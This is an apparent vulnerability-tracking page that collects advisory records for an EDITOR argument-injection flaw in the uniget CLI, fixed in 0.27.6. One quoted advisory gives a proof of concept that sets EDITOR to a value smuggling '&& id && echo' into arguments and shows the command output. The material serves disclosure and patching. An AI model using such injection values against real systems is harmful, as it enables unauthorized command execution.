uniget: EDITOR Command Injection in uniget CLI

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.

Source published

17 Sep 2026 18:23:15 UTC

Source modified

18 Sep 2026 14:44:09 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 1.0 CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.

Source published

Sep 17, 2026, 6:23:15 PM (timezone not stated)

Source modified

Sep 18, 2026, 2:44:09 PM (timezone not stated)

Observed here

11 Nov 2026 14:02:00 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 1.0 CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.

Source published

17 Sep 2026 19:16:51 UTC

Source modified

24 Sep 2026 21:25:27 UTC

Observed here

25 Oct 2026 13:17:34 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 1.0 CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary The uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, " ")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode. **Vulnerable Code:** ``` editorWithArgs := strings.Split(editor, " ") ``` **Location Context:** ``` editor := os.Getenv("UNIGET_EDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...) ``` **Issue:** Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution. ## **Step to Reproduce** **Step 1: **Create malicious editor wrapper ``` mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editor_wrapper.sh ``` **Step 2: **Create test hook ``` mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh ``` **Step 3:** Set injection payload ``` export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo" ``` **Step 4:** Run vulnerable code ``` cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh ``` **Step 5:** Observe output ``` [EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody) ``` <img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />

Source published

17 Aug 2026 17:46:05 UTC

Source modified

18 Aug 2026 14:56:04 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli

Source published

18 Aug 2026 14:32:29 UTC

Source modified

18 Aug 2026 14:45:03 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.